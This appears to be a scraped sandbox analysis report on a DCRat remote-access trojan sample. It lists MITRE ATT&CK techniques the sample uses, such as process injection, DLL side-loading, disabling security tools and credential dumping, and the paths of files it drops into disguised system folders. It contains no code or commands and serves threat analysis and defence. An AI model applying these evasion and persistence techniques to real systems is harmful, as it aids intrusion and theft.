Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report hz7DzW2Yop.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\HyperWebbroker\kC1qNwulObrDTKeFv7nRu.vbe

C:\HyperWebbroker\lGnbJpj21JH90uguTRu2sUXatfulFm1f34jhZ8QO993nz73C1NZz.bat

C:\HyperWebbroker\serverBrokerperfMonitor.exe

C:\Program Files (x86)\Windows Defender\en-GB\de5836ef699499

C:\Program Files (x86)\Windows Defender\en-GB\uAsLgsGzSk.exe

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\Recovery\9e60a5f7a3bd80

C:\Recovery\SystemSettings.exe

C:\Recovery\de5836ef699499

Windows Analysis Report
hz7DzW2Yop.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre